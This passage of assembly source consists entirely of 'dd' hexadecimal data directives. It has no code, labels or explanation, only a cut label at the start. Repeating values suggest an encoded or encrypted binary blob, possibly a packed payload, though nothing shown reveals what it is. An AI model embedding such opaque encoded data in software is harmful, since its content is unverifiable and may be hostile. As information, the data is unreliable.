9607E179h dd 9EF8CDEh, 9CA5CD16h, 0AA0679E8h, 0DB53A71h, 0AD613F52h dd 33AA0BA0h, 9E364353h, 0D1E7353Eh, 15668836h, 156EC73Dh dd 94062232h, 0F2A2A5E5h, 984DE91Bh, 1376564Bh, 13E42D52h dd 1A661132h, 156688B1h, 7498CE32h, 3BC39FB1h, 1A661722h dd 15662BB6h, 0DFE72432h, 77408CEAh, 74B89A54h, 3CCB0DB9h dd 48F4222h, 25662232h, 4B64F502h, 0B38ECB9Ah, 206D89F0h dd 2FD2017Dh, 37DD7752h, 0DAE7EEB0h, 3E078C62h, 54887B7h dd 0A8DC7134h, 9E35113Dh, 0D45D25E1h, 153CA43Dh, 0FC061132h dd 15668826h, 728F2E0h, 90FFAA7Bh, 0B133D276h, 28D6F58Ch dd 2B3715Bh, 74A99D3Dh, 3CB394B9h, 16938E22h, 548E1B7h dd 90EFDE34h, 137630A3h, 15669BDBh, 313E0432h, 5B4B3F52h dd 867DA04Dh, 0A8AF161Eh, 0F69CC728h, 1567C8DBh, 1560F832h dd 5BA48832h, 0DAFC1C94h, 9484AB60h, 156615F0h, 118C0932h dd 92664432h, 9C3A0626h, 969A353Eh, 19EF8CDEh, 1A061C16h dd 1C8EF88Dh, 3B661132h, 1826D196h, 6063EF5h, 156636DAh dd 8A0A8B32h, 0DDE8AF41h, 999390EDh, 80E96A85h, 17A33DC2h dd 7439D607h, 0EA99FD63h, 0DD67DDCDh, 14E11E6Bh, 0E0668832h dd 9E0E1764h, 4E66D374h, 0FEE7C2C5h, 0C57A26BBh, 943D9ABBh dd 3B3454DCh, 0DBE75F7Eh, 2F8DFB2Ah, 63F48AB3h, 0D3E7048Eh dd 14660133h, 1A38783Bh, 156648B2h, 0AE004232h, 95696CFFh dd 15668832h, 0AB30BD53h, 995E3Bh, 0E3E7C7C5h, 5F7AA1BCh dd 93A0C574h, 3C39C167h, 1F8F4FC2h, 59668832h, 7784651Eh dd 949FE24h, 0B8E398CEh, 7560981Bh, 12C0A7B3h, 0FC072CF7h dd 1566113Ch, 0E829A717h, 5E69B15Bh, 7CFA33E6h, 9067A164h dd 13768E73h, 15664BDBh, 9C733B32h, 52AE97F0h, 57413F33h dd 8E10BA84h, 3BC3A7F5h, 15661722h, 7F9E8832h, 156AAD72h dd 5902232h, 7A7B4B4Ch, 0F5654F3Eh, 150ED0E7h, 0ED662222h dd 1544BE5Ah, 316A0132h, 75662EC7h, 7898D5B3h, 0FC310279h dd 1566883Ah, 0C340C6D4h, 846E0884h, 78F706Dh, 0FC668832h dd 17DCAC75h, 3C9136D6h, 7BE5FF05h, 0EDEE5AF3h, 70F3BBE8h dd 0FC60322Eh, 1566113Bh, 0ED48D8E7h, 0DB2F2422h, 3CF3DDE0h dd 0E9600133h, 3CB30DBBh, 95064222h, 0FD0649E6h, 15661121h dd 225B96E4h, 23563610h, 14B5247Fh, 0D6914FB9h, 4C101EACh dd 1566C13Dh, 74072232h, 34F794BBh, 98698E22h, 15664429h dd 1573A73Dh, 58F1132h, 6E668832h, 6755E794h, 520EB1E5h dd 0D6BE5D53h, 9EF72E3Bh, 9C35603Eh, 11A5A3D1h, 96661132h dd 9E18CF1h, 0EA9E1816h, 547B387h, 14E31E34h, 0E0668832h dd 71FF1CDh, 94692422h, 15661134h, 0A2697452h, 730625F1h dd 9569D9B9h, 15661132h, 3882E053h, 29EF4432h, 0C3E74216h dd 130256CAh, 15668FDBh, 0B5316332h, 0A9A1FDC3h, 30D3EE53h dd 0FC609838h, 1566443Fh, 4EDC918Fh, 8192DD59h, 0EDF406A3h dd 0C8E3C9D6h, 0E96034FCh, 75B6EECBh, 0D4EDEE52h, 74A6FB3Dh dd 0B0EB2353h, 7560011Ch, 9D950954h, 8182C467h, 1572CB53h dd 11511132h, 7CC6D760h, 0E0184140h, 1B31474Ch, 6F6C3578h dd 0A8ED2EE7h, 137665A3h, 0A0EDDBCAh, 1376034Bh, 156685DBh dd 1363CE32h, 0CCEA3569h, 0F6A13DB8h, 0B19594C9h, 1567CA3Dh dd 9E9A2232h, 5690087h, 0FBE7E834h, 52BF6AC5h, 1564AC3Dh dd 74061132h, 459E2553h, 0C39955Ah, 0CD917A0Bh, 0EB2F293Fh dd 80DDDB74h, 564CBA4Ah, 0E6E7F1C5h, 0F966809Ah, 9C3D5033h dd 753EB874h, 0D691CDB3h, 58F04C8h, 3F668832h, 91E68DB9h dd 6A78EA45h, 0B33A60F3h, 744EA33Ch, 0EC6384F3h, 153BF85Ah dd 317A9832h, 6BBF7A89h, 4EBE4572h, 0DFD9DB52h, 744155A2h dd 0AB30D31h, 0EC9F4222h, 34F7AFB9h, 97691722h, 15668835h dd 1567CF3Dh, 449E2232h, 115AF64h, 6167A9E0h, 9A384016h dd 664EA332h, 1A47C326h, 15669ABCh, 156BAD32h, 36D2232h dd 6219F539h, 3A1A4B6Fh, 0B876740Eh, 156AA83Dh, 9A691132h dd 15668834h, 1566C93Dh, 0A8332232h, 15661132h, 9E9AE6BBh dd 0D1E5601Eh, 1DE62D36h, 1A661132h, 15668ABAh, 9C072432h dd 5693387h, 1AE81E34h dd 0FC668832h, 15664438h, 4B92ECE1h, 0CEF207D8h, 68F5D50h dd 0B664432h, 2A5E1487h, 0C3593DF0h, 0A433B6BFh, 0A951F323h dd 0EDE51419h, 9EE31ECDh, 1A668832h, 156645B2h, 2BE7DB32h dd 0C8BBCCEFh, 151E0D3Dh, 94694432h, 15662233h, 0AA3141C7h dd 3E9CF006h, 0EF1E708Ah, 4A9E0B19h, 1A3E17BBh, 15668FB7h dd 14E44B32h, 0ED662232h, 152D745Ah, 314A0132h, 1566408Fh dd 48882332h, 1567993Dh, 9C9F8832h, 5695587h, 4E12D34h dd 0FC661132h, 1566883Eh, 8880102Eh, 9CBC366h, 22AB7C8h dd 0EAB5ABDBh, 1572ADCDh, 512D2232h, 8FA00D0Bh, 1115A65Fh dd 8CDC1D3Ch, 0F74338D5h, 0D5A71BCCh, 90657131h, 13765BE7h dd 156BA53Dh, 1D8F1132h, 0F9668832h, 0D3762AE2h, 96F2F884h dd 549548Fh, 91698934h, 156647A6h, 157CAF3Dh, 0A0061132h dd 15776186h, 53324432h, 2CA63E1h, 7A6EA9D5h, 4EC18733h dd 748BDBF4h, 32DC4452h, 74CFA4DDh, 0BFCCB6B3h, 9069EE98h dd 1566229Ch, 1576F952h, 6528832h, 8B2751B3h, 5BF4BEF6h dd 52E0BA44h, 9A69C9CDh, 15664432h, 0E4E77169h, 6AFA8D9Bh dd 0AA31E969h, 15664436h, 3F5DE4B3h, 0EB671E98h, 3F5D66B3h dd 1A394B98h, 156625BEh, 14EE1E32h, 0E9668832h, 94D81260h dd 0AF75056Ch, 0F9BEB04Dh, 9C387A33h, 753CB864h, 0CDEDF4B9h dd 249E2053h, 759EB9F5h, 0A1361653h, 4D80AA34h, 9564FFF2h dd 0FBA61EC4h, 288C43Ah, 1A3CD2BAh, 156610BCh, 408F7D32h dd 75664432h, 1563A23Dh, 0FBDD1132h, 1A1018DEh, 156646BBh dd 74074232h, 156E993Dh, 1A068832h, 0E2E68485h, 0ED57438Fh dd 0ED57D603h, 15610F3Dh, 96694432h, 15662233h, 152C79CEh dd 9EF8832h, 9D8EF716h, 198F79EAh, 93661132h, 9ED14DB9h dd 37B92236h, 0E07E0278h, 155DFF5Ah, 31620132h, 1AB7CF52h dd 156620BDh, 74A49A32h, 9F335B1h, 1A674222h, 1567A0B6h dd 12E91E32h, 1A668832h, 156645B1h, 0F9E5DE32h, 317A9836h dd 74560689h, 0C514FC04h, 0CD67EBACh, 0A8E5ED69h, 13712D64h dd 37E24B32h, 0E9662232h, 0F1238CBFh, 108F8E24h, 0A1664432h dd 4663FB43h, 0EC06C2CDh, 1560063Dh, 90694432h, 15662232h dd 85599153h, 15330C3Dh, 90694432h, 1566223Ah, 15649E3Dh dd 74068832h, 1563FE60h, 0C2672232h, 944205B9h, 15668CF6h dd 1569AD32h, 35BC2232h, 1BA5F63Ah, 0F3C3D46Ch, 0E3EABABEh dd 14E12DCDh, 0E9661132h, 15674FDBh, 1577AD32h, 0BC8E2232h dd 0C7D9651h, 7B4A0BC6h, 63DAB006h, 960EC9ABh, 976941CAh dd 156688F9h, 0D3E72252h, 48F88CAh, 94661132h, 0BDF2E5CAh dd 994C561Bh, 9517FF70h, 0C5A9DFAEh, 6E28753h, 0FC664432h dd 1566223Ch, 39AF8EB0h, 2D899A3Eh, 0DED6FFBCh, 0A7345716h dd 3D88A15Eh, 0D06AD2E2h, 0DD98E106h, 1B8FF31Eh, 0BD661132h dd 4E417EF6h, 0E2D5AC74h, 72EAE7CCh, 759ABB14h, 15668FDBh dd 0B2ECC632h, 0FEA5101Eh, 156617DBh, 0FD91C532h, 742BD1B8h dd 404226B9h, 0D0E7F4BBh, 15668836h, 926281B1h, 0ED3A061Eh dd 14E71E98h, 0EC668832h, 1566E8DBh, 11EE2D32h, 75661132h dd 75074BB9h, 15EC4B52h, 0FC662232h, 15661135h, 0B1B42D62h dd 7457387Fh, 156633DBh, 0F33CA032h, 71B4EDB9h, 4CB50D8h dd 1A3E43A9h, 0EA07F8C6h, 943EAC06h, 156640F6h, 1CE32D32h dd 75661132h, 9400D762h, 744CA7E4h, 10E12D98h, 75661132h dd 7439DACEh, 0FC993BB2h, 1521A73Dh, 73061132h, 0FFB56B3h dd 58FBD68Ah, 0A8E5430Ch, 1371B464h, 4E28732h, 0E0664432h dd 0F653BFBFh, 73061724h, 0AFCC60B3h, 0E9B5BB53h, 9DA5AA61h dd 9ED156Dh, 11A20916h, 1A664432h, 15662AB4h, 17E01E32h dd 75668832h, 84E3CF53h, 1A603213h, 156610BFh, 0AA317D32h dd 20044477h, 0E26EC5F3h, 0B29190EDh, 943BCD44h, 441DDDD5h dd 5B91A332h, 1429626Eh, 0ED4FD7CAh, 76738B1Fh, 1A34427Dh dd 156611B7h, 9E00D332h, 0AC3725CCh, 15662236h, 5A2B6F37h dd 38AEA115h, 3229094Ch, 156ACB6Bh, 56661132h, 17591F2h dd 6E27ACE6h, 0E0CD4716h, 156FF89Fh, 3C7B8832h, 0EE272C0Fh dd 441A23D8h, 3734918Bh, 0E7D9DF2Ah, 52326770h, 7A36D5B3h dd 0EC6F32FCh, 94BF7F6Dh, 0FA19E7F3h, 0E928AB4Dh, 9400716Bh dd 0FDB64AD5h, 15664423h, 0FD56A699h, 0FCE5CE3Fh, 812485AFh dd 17446365h, 7438DB0Eh, 0EA9D37DBh, 0F2E7E8CDh, 5559C24Fh dd 9C077865h, 5690087h, 15766134h, 0E6D4432h, 878B3D6Fh dd 3D41EC67h, 17301362h, 7306585Ah, 9FFB4C8Bh, 9C3570DAh dd 11A509D1h, 96664432h, 9E126D9h, 1EF4D16h, 7D07E816h dd 1566C432h, 74B1A952h, 188F1158h, 75668832h, 63EF45D3h dd 9ADBFE3Eh, 29BEAE82h, 26233DCDh, 0EA9A4222h, 54997A7h dd 0FBE77134h, 4B354AEFh, 0F2A6C554h, 1ED438Eh, 0F3EF4716h dd 15624EB3h, 0D3E74432h, 15662236h, 494225B5h, 15686152h dd 4A2B4432h, 80C387C7h, 944C486Ch, 0A98312FCh, 1565C93Dh dd 0FCE62232h, 98ED7073h, 1376A733h, 0A5DB11CBh, 9438931Ah dd 277763D7h, 0BFA30920h, 40568C0Ch, 484236C5h, 2BBDD4B3h dd 3CEFCACAh, 1575AD6Fh, 7B612232h, 0C30E7DAFh, 8DD1D482h dd 0E0E1691Eh, 1034B8EFh, 11D9462Ch, 94668832h, 0A93FE3F3h dd 949F234Ah, 0A93FB6DBh, 9C93D74Ah, 54945BFh, 0AD8FDB34h dd 0FC99EEF4h, 15668820h, 5AE74930h, 32438Dh, 6B67614h dd 8AFBFB4Fh, 128F4C48h, 78662232h, 0C4DE0754h, 9C8F5001h dd 0E066441Bh, 1574CB52h, 0ACBC1132h, 0F65C6939h, 0A6507ACEh dd 3DF7E4B7h, 8B784898h, 14EB03CEh, 0E060541Dh, 0EC3F13CDh dd 0B0349CBBh, 1A068E25h, 156646BBh, 74ACA932h, 412829B3h dd 9069C476h, 156644A4h, 6DE744CAh, 1A485D36h, 156601B7h dd 1A8E2432h, 94662232h, 94E395ACh, 21723BA5h, 7B0140D8h dd 1A39E50Fh, 156614B2h, 0DFE7EE32h, 0FC07D4F6h, 1566223Ah dd 9EB09471h, 73371C7h, 15488E5Ah, 3162AB32h, 274215B3h dd 4B48F93Eh, 1954AAB3h, 0A5060C43h, 0AA317021h, 15668834h dd 607DAAB3h, 0EB676FA0h, 607DD7B3h, 7539C5A0h, 156649DBh dd 60DBD032h, 2FFCA418h, 0CA8BD25Ch, 0EBEC7E91h, 6CE3A953h dd 1A60013Dh, 156689B7h, 7406BC32h, 1562FDDBh, 0F9E5E932h dd 31620136h, 894268B3h, 4B56166Dh, 4AFAD7B3h, 459EB806h dd 0D4268B3h, 4F6A9D32h, 157EAA61h, 0CF67848Dh, 90692469h dd 15662237h, 3AA19054h, 108FE8F9h, 0C7664432h, 0CFF4B283h dd 74077052h, 0D3D98752h, 0EB4B9AB3h, 24076F18h, 976971FBh dd 15668834h, 4646ABB3h, 0AB060F56h, 7FCF1092h, 0CAFF6FB3h dd 740708C8h, 156ACB9Eh, 2F171132h, 4B1F8721h, 25809567h dd 155A95A8h, 14C5953Dh, 29938832h, 0C8E24B1Fh, 0FC99DDCDh dd 15661139h, 286BD00h, 92A194C9h, 29FE58BDh, 17E21E1Ch dd 0EC668833h, 9769740Eh, 15662727h, 0FCFFA652h, 15668822h dd 0DF94EB89h, 727639Ch, 27681EC0h, 0ADDE7F2Fh, 1A5F7853h dd 0EA99B9B4h, 0E1EC71CDh, 36E3754h, 1A277853h, 1562C6B0h dd 1EE91E32h, 75668832h, 0BB3B8FB3h, 0A2694779h, 4F5A70E2h dd 0EA140E3Dh, 7506BBCDh, 3D82DC8Dh, 1575F80Dh, 3CF68832h dd 332AE3D8h, 0EBB445FAh, 83EF7048h, 0F7AD4ECDh, 0AE0025C6h dd 290792FCh, 50E21E6Dh dd 0FC9977CDh, 1566443Bh, 4A91387Bh, 75AE08Dh, 9E00E8CDh dd 2907B8E5h, 97E42D53h, 0FC661136h, 1566883Ch, 549EF132h dd 0ACB8059h, 8558DF0Fh, 6F5A898Bh, 0EA68C23Dh, 9869DDCDh dd 15661129h, 0FCA40352h, 15664420h, 0E730296Ah, 0DF36E0B9h dd 216FF9B6h, 0D6F4BFFBh, 0FC07B139h, 15661573h, 15669BDBh dd 3D02CC32h, 0F3A37A35h, 7A17A39Eh, 8795EEC2h, 4A8F6159h dd 1561AC3Dh, 91691132h, 15668833h, 0BED913C7h, 9463B96Bh dd 8E3FBBC5h, 4A9C8937h, 15664FDBh, 6BAC8032h, 6E6A525Eh dd 4CDDF3h, 9169B60Bh, 156621C7h, 1567983Dh, 469E8832h dd 0EA15EB89h, 0D1A5A327h, 9407223Ah, 525C9ED9h, 1D858511h dd 946EC1F3h, 0B799EEC1h, 4EBC898Fh, 0CDD14B52h, 9648FAB3h dd 45072E57h, 1566898Ah, 4DA74532h, 0D41B9852h, 9E0025E4h dd 448FE9E4h, 0E099BBCCh, 1561A03Dh, 9C691132h, 15668833h dd 1AAFC1CEh, 1565B6B6h, 0A0EBE932h, 13768F6Fh, 1561C63Dh dd 73062232h, 27A9C1B3h, 19EDDA53h, 11A2C516h, 0FC662232h dd 15661135h, 154DEE6Ah, 96544D75h, 21EF26DEh, 9CB09816h dd 469FD6C5h, 0A4377281h, 4CAD12EFh, 0CE90D2CCh, 9D7C4BB2h dd 68F1FEAh, 9B662232h, 5BBA36D3h, 69C33A6Ah, 87631A1Bh dd 0FB181E4Fh, 60C80A36h, 976970CFh, 15664433h, 0F6A7A3C7h dd 3C4EC36Ch, 0F6DBDDCBh, 3C4E966Ch, 1F8F7FDBh, 0B4661132h dd 2054DE79h, 0C59D53D2h, 15664AF5h, 194F1132h, 316A0316h dd 756280B1h, 2F89B54h, 0F3899053h, 3C6AB236h, 0F3DC16FDh dd 146A1836h, 9F694BE5h, 1566883Fh, 15664CDBh, 16BBD632h dd 21A03F04h, 2491B9DEh, 0FC9175CCh, 1566223Ah, 0A4F9AB9Dh dd 0BE565589h, 9269E0C1h, 15662220h, 15661CDBh, 26E49D32h dd 0E123EF1h, 7B05B846h, 0A23516D3h, 0D5B97EDAh, 0F2A647DDh dd 1591A23Ah, 9E996EBAh, 0D1E5AC2Eh, 989FBC36h, 5617FA7h dd 90EDE434h, 13768F47h, 73BBCE52h, 2619F1B3h, 1AA69453h dd 15661DB7h, 58E2432h, 0A5662232h, 0D560B999h, 0E9A7F8B0h dd 51E26B26h, 73802ED2h, 4DF55288h, 0F0E34E53h, 52605411h dd 156629DBh, 65FF3C32h, 70A0998Ch, 3B034B1Dh, 8FC1F05Ah dd 2EB1EE6h, 0FC668832h, 15664420h, 0C2663902h, 0D4905763h dd 435A9D38h, 0AB16DD1Fh, 0A099E423h, 13760C77h, 11EC8752h dd 73664432h, 738CD289h, 7754D0B3h, 9FE30553h, 1A6057B7h dd 156623BAh, 0C599E932h, 15756152h, 3EE94432h, 6709C1A9h dd 0ABFA81E9h, 2525B897h, 53BF6423h, 520E43FCh, 9C661160h dd 7406AC26h, 1A0694CDh, 0AA69D58Dh, 0D5E370C3h, 15B00D3Dh dd 92694432h, 15662233h, 0C8E39AC7h, 75609827h, 0BA91C554h dd 746391DBh, 9069D1B7h, 15668842h, 0F0E382CBh, 59603211h dd 15661EDBh, 0C6BA3232h, 99ACAC05h, 0CC28FDD0h, 48913986h dd 0CF7A615Ah, 1CE54BEBh, 75662232h, 750CAB54h, 74903F3Dh dd 823F1CDh, 93692422h, 15661133h, 9FE305C7h, 756057B7h dd 156625DAh, 6F8DD232h, 363E5DFEh, 529CABB3h, 1A3F0775h dd 156610B5h, 0EA077D32h, 156CADE2h, 0BC262232h, 18514F79h dd 0F46781D6h, 9487CD63h, 156626F3h, 118F9032h, 92668832h dd 9C3A603Eh, 0EA930626h, 1DE11EE2h, 1A668832h, 156646B2h dd 90074232h, 0CE31EF2h, 75668832h, 6A78FD54h, 1595CB53h dd 1C8F1132h, 0D9668832h, 0A946CAFDh, 0B9D58DD0h, 0B03494BBh dd 1D8F8E25h, 97664432h, 303CD4B3h, 467F1910h, 0D6E76BBBh dd 15664436h, 9262C9B1h, 9C3A352Eh, 198FAC36h, 65664432h dd 0A3F8C10Eh, 0C9E6A0D0h, 404207E3h, 0D0E7A1BBh, 15662236h dd 9262FCB1h, 9C3AAC1Eh, 138F6006h, 90662232h, 8F64991Eh dd 6CE30593h, 756057ACh, 156631DAh, 0C50B0D32h, 0EBC36C6Bh dd 0C157E559h, 6E529105h, 32E09A5Bh, 0B2C0318Bh, 90691B5Fh dd 15662230h, 0EA07E8B9h, 0AF06E8E2h, 56BD1D81h, 68F7553h dd 76661132h, 2CBAE0F0h, 7F34F5F6h, 0CF364311h, 3CFC2B5Ch dd 743F20EEh, 1AA64FCAh, 15660DB7h, 1572F832h, 3DA88832h dd 0AC2BFF73h, 19F70096h, 8A702673h, 0B757EF4Fh, 38F5159h dd 1A662232h, 15661AB9h, 0C4E6E832h, 15E34B91h, 74662232h dd 94255BBh, 0D69FE9CAh, 156654DBh, 0C32F7A32h, 0DFB63995h dd 1EFBCF36h, 2C9847D7h, 0E906DA34h, 0B0349CB9h, 1A938E25h dd 156648B6h, 1561CB32h, 0ACC81132h, 999189B5h, 7C522C0Bh dd 11EF2232h, 1577F816h, 0C9C68832h, 845687C3h, 66C2DAE0h dd 0C8719A8h, 4731FEF0h, 0C5EF8EBBh, 944236B9h, 156615F6h dd 15776132h, 1E44432h, 7D43AA77h, 573EAFEBh, 0F060BF03h dd 4733B322h, 4A999C64h, 0DBE709B3h, 751BB93Bh, 335482B3h dd 0FBE76543h, 6BD13549h, 941C66B3h, 0E7EF0585h, 16A4236Ch dd 93694B30h, 1566883Bh, 0E2E72252h, 74068254h, 9DDF4053h dd 14668832h, 4F57BBF3h, 9E00426Bh, 3CBC90FCh, 74211A35h dd 1963D1BBh, 969F2422h, 9EF15DEh, 159E3316h, 0CD674432h dd 0AC37DE69h, 1566113Eh, 24994933h, 97691D68h, 1566223Bh dd 73969A52h, 6C0349B3h, 12E94B53h, 75662232h, 9E007052h dd 80EFE9E2h, 1376573Bh, 3152DDCEh, 11A2906Ah, 0FC668832h dd 1566443Ch, 10BD6FAFh, 9DE12B3Fh, 9CA65B25h, 619972F5h dd 11ED0616h, 11A29016h, 75668832h, 380786B8h, 178E3394h dd 4A1C731Fh, 10AEA15Dh, 7A393E50h, 0FD778437h, 0CAED7130h dd 2E0756B8h, 5754DB7h, 51E42D34h, 0E9661132h, 19630D09h dd 96694222h, 15662205h, 15661DDBh, 0E9ADE032h, 0ED2EBEF4h dd 0B7B69228h, 0A00670E6h, 0C7E7EEB5h, 0D707BD24h, 18F2236h dd 0E5661132h, 0D2D6EF74h, 96D89615h, 53F2510Ch, 3E6D8A21h dd 74A83145h, 156ECF3Dh, 95692232h, 15661130h, 4431E952h dd 0D172795Ah, 0FCE77B30h, 73EE21DCh, 0E4E761E3h, 5B7BB595h dd 9C3FEDBBh, 4A62354Eh, 15669CDBh, 873B132h, 2A9B3F82h dd 0D3B9FB03h, 6C55A819h, 682C55C8h, 3122E596h, 584E1736h dd 31227724h, 3112C536h, 24ADE36h, 310A903Fh, 6E164336h dd 310AC52Ch, 0C817C736h, 3132E660h, 31327F36h, 3112C536h dd 14446936h, 0CEB1E98h, 0FC668832h, 15664426h, 3AC6D7F2h dd 0CD3DC022h, 5FA46DDAh, 4D4CE2F2h, 6466873Ch, 172B978Ah dd 59DDDB69h, 24099748h, 0D04B79EAh, 1A52C005h, 15668EB2h dd 0ACD72432h, 9807ECB9h, 52894BFh, 15616134h, 0FDA34432h dd 0EC36F47Ah, 0E087EE68h, 0AE357052h, 15664432h, 0AF34D133h dd 15661132h, 17EC5233h, 29931F68h, 7BE22DDBh, 0FC661133h dd 15668822h, 3C0FBD23h, 751371B3h, 0FD7146B6h, 1911198h dd 9169AC0Eh, 156623A8h, 78B09152h, 1A69B453h, 156637B6h dd 156ACB32h, 74281132h, 0F8DD2927h, 4E5ACC44h, 0D85ADCB7h dd 14B6953Dh, 0EC068832h, 156641DBh, 33AE332h, 29077314h dd 0E7E287D9h, 75664433h, 0ACBFA354h, 0EAD11EB2h, 188FE953h dd 85664432h, 0AB9E7E51h, 0E508615Bh, 0FAF0315Dh, 0DFE724F1h dd 418B3E75h, 156617DAh, 2A026532h, 1A11876Ch, 743FEC85h dd 156C993Dh, 108F8832h, 8A664432h, 0EBD3F4E5h, 14D94660h dd 9C668832h, 0E7671BC8h, 0EC3C38B8h, 83D641CEh, 0EB053B61h dd 0EBB5B2F1h, 6495A2F9h, 213DC93Ah, 21E38C31h, 35217004h dd 58F7AF1h, 74661132h dd 0A8EEC5CAh, 0A16B43B1h, 2EC58C4Eh, 95923034h, 906908C9h dd 0EA99BB4Bh, 1561A63Dh, 1A061132h, 4A344385h, 9ED1253h dd 11A2A116h, 156605DBh, 4A4FA732h, 16523F83h, 4C76C50Dh dd 1935D396h, 0F2D095D9h, 13DF1563h, 14662232h, 316A9AF9h dd 15624CB3h, 0FC064432h, 15662226h, 4990BAF4h, 8C5F33EFh dd 2E60A1D6h, 0EB112869h, 93A7CB77h, 92C56B3h, 7D0723FEh dd 15661944h, 0AC421DBBh, 15668830h, 0C65B533h, 0B88FDA6Bh dd 0FC661132h, 1566883Bh, 85685901h, 330EFEDBh, 1410EEAEh dd 944294B9h, 156640F6h, 1A064232h, 749ADE85h, 0EE9D0B53h dd 15B9C03Dh, 99692232h, 15661120h, 156685DBh, 0D565A332h dd 14784EBh, 0F52120C0h, 1A8F121Bh, 93664432h, 73832612h dd 7D109C2Ch, 2EED4402h, 9E303BDCh, 0D1E5062Eh, 14EC1E36h dd 0E0668832h, 1567FD63h, 0FCE72232h, 676C5553h, 0D4E77933h dd 676C0053h, 753F3B31h, 9D69ED52h, 15668832h, 1E8F1753h dd 0C5662232h, 2207714Ah, 9C6A5184h, 743E1799h, 15639A62h dd 0D6671132h, 96428CB9h, 0A50640F6h, 7489A843h, 0EA9841DBh dd 0A3697DCDh, 9506456Ch, 0FD069CDEh, 1566113Ah, 0AAC1FB2Dh dd 0C6D6777Bh, 743C746Bh, 3B8D9253h, 0EB4D0C3Dh, 0FC9FBBCDh dd 1566221Fh, 1561933Dh, 75068832h, 1292C453h, 1418A253h dd 1BE31ECCh, 0FC9977CCh, 15664423h, 36D576A5h, 562FBECAh dd 6E9FEBE9h, 1C3FCB8Eh, 0E9C3CB5Eh, 9269EECDh, 15668825h dd 156656DBh, 41106332h, 0BDD248B2h, 0A64DFFBh, 0E8BFFD4Ah dd 7D26E5B1h, 15664E57h, 0FC42BCBBh, 1566443Fh, 9A656677h dd 0FF844814h, 0DDA9BE90h, 7E332CF4h, 19EF2232h, 4E71E16h dd 0FC668832h, 1566443Eh, 66CBEC98h, 3C1383FFh, 8965EB37h dd 0EFAFA52h, 68F24E7h, 0F8661132h, 1B03A729h, 0C33AC51Ah dd 9CC4CDEEh, 57DA9163h, 7D07B79Fh, 156600CFh, 75423EBBh dd 156614DBh, 88E6F032h, 0AE00A3ECh, 7D07DBD3h, 156659F5h dd 7542B4BBh, 156641DAh, 7B701632h, 4C9FEFCCh, 0B1B00954h dd 0D55725B9h, 479F8EC7h, 0C6EED3BAh, 96429CB9h, 946940F6h dd 15662224h, 156600DBh, 71718B32h, 246EB2Bh, 0C3A6B809h dd 650A14AAh, 4700F7B9h, 0C646B480h, 3172A954h, 1564D5B3h dd 95938832h, 916934C9h, 156627A4h, 15661BDBh, 30DC5532h dd 5ACE4EF0h, 293AF4EEh, 0EFE21E3Dh, 0E9668832h, 1567C93Dh dd 29932232h, 0C3E21EDBh, 1A668838h, 156657B9h, 1568CB32h dd 1941132h, 95B844C7h, 0B4371CB1h, 10E23CADh, 9169FA0Eh dd 156686AAh, 1573CF3Dh, 58F2232h, 19661132h, 0D6E7B121h dd 34347AB2h, 0A3F18C3Ah, 0ED93C1CBh, 91696B0Eh, 15664774h dd 9ACA9C52h, 0ED076794h, 91696A0Eh, 15664B4Ah, 156CA23Dh dd 1A061132h, 156688B5h, 7495CE32h, 4A4216CDh, 1562D5B3h dd 58F8832h, 0BE664432h, 4C730B17h, 0A6D71645h, 1087B4BCh dd 9E78D0D9h, 9C33062Eh, 11A390D7h, 96668832h, 39E140F7h dd 9F697E16h, 15661133h, 156F61CBh, 285E4432h, 967DA313h dd 9E19EEF7h, 9C33AC3Eh, 11A3C5D7h, 94662232h, 156615F7h dd 314A0F32h, 21EDBC6Eh, 0F6EF7116h, 1562D2B3h, 0D6E58832h dd 317AC336h, 19EA2D6Eh, 1A661132h, 15668EB8h, 15EF4B32h dd 0D6662232h, 37E3D6CEh, 13609F94h, 0ED664432h, 1508D55Ah dd 31729832h, 15668888h, 9F944532h, 47937828h, 0A71DA162h dd 4DA4A06Eh, 0D56EA6F2h, 0DFE62AD0h, 0E3A4EF76h, 5E9408E8h dd 753C9712h, 15E12D60h, 4E661132h, 749C0354h, 1AE6BFB2h dd 0EA9909B7h, 1DEB1ECDh, 75668832h, 0AD002552h, 4607D906h dd 0EA99EE89h, 4EB889CDh, 0F0E3CFCBh, 1A60321Fh, 156610BAh dd 80ED7132h, 13766C6Fh, 156632DBh, 7A858A32h, 89F65340h dd 5656E18Ch, 0CC463302h, 11E74774h, 0E57AA916h, 0A8331F20h dd 70DF05F9h, 9464F4F3h, 1E585C7h, 488D6DB6h, 1577AE3Dh dd 198F1132h, 0DC668832h, 7E846446h, 52494FE7h, 7D26AD2Ch dd 1566B2DFh, 0A84268BBh, 15662234h, 0FC3BFA33h, 1566883Dh dd 43366965h, 0DB824EEBh, 0A31A4DB5h, 1AF30872h, 156656BAh dd 156BCB32h, 27181132h, 7AFAE79Fh, 33650987h, 451E14C7h dd 1566138Ah, 44968932h, 1566448Bh, 16A72332h, 0E03E482Bh dd 97695009h, 15664424h, 15662ADBh, 0D5089132h, 0F898C768h dd 1ABC7F09h, 0EA9869B4h, 0D6E7E4CDh, 7D04C77Dh, 0AC37BF1Bh dd 0B035ACBh, 948FC07Bh, 0EB4494FBh, 12878575h, 6429D3B3h dd 0DE4F860Fh, 9A69706Bh, 15664433h, 0AC3772C7h, 15661134h dd 3C3F40BBh, 1A9F1CF1h, 156632BBh, 1FE01E32h, 0FC668832h dd 15664437h, 16FA4162h, 0FCCB7755h, 15668839h, 0CA3CB461h dd 2135A844h, 7356D3E9h, 1FE18799h, 75664432h, 73A7A954h dd 3C57F6B3h, 4D35D853h, 964258B9h, 1B8F26F6h, 0A7661132h dd 1B13316Eh, 0CFF3DD8Ah, 0A5F59D03h, 9269BAC1h, 15668825h dd 156656DBh, 7DBF2832h, 557BB42Fh, 7A6B7093h, 13EC9F4Eh dd 40B602A0h, 1566158Fh, 9E888932h, 0D1E5601Eh, 23D64236h dd 0F5E77752h, 0E1D90982h, 74190026h, 315AAB53h, 15661EDBh dd 11169732h, 4275C607h, 0BBCD3CEEh, 5E617062h, 1942FCBBh dd 14EE4BC7h, 0E9662232h, 1FF7A4BBh, 0FC9A8E22h, 1566443Ch dd 619A83AEh, 2F155587h, 718D7D1Fh, 21990C5Fh, 0D1E77D16h dd 15661136h, 0EFEDEE52h, 317ACF53h, 9483AB67h, 156615F7h dd 11A30B32h, 494268B5h, 316AA9CAh, 94839867h, 15668CF7h dd 11A3C732h, 49420EB5h, 31529ACAh, 94810165h, 156640F5h dd 11A1A132h, 49422DB5h, 4B32DECEh, 156282B3h, 0D3E52232h dd 31529636h, 14E9876Eh, 0E9664432h, 0EA86F9DBh, 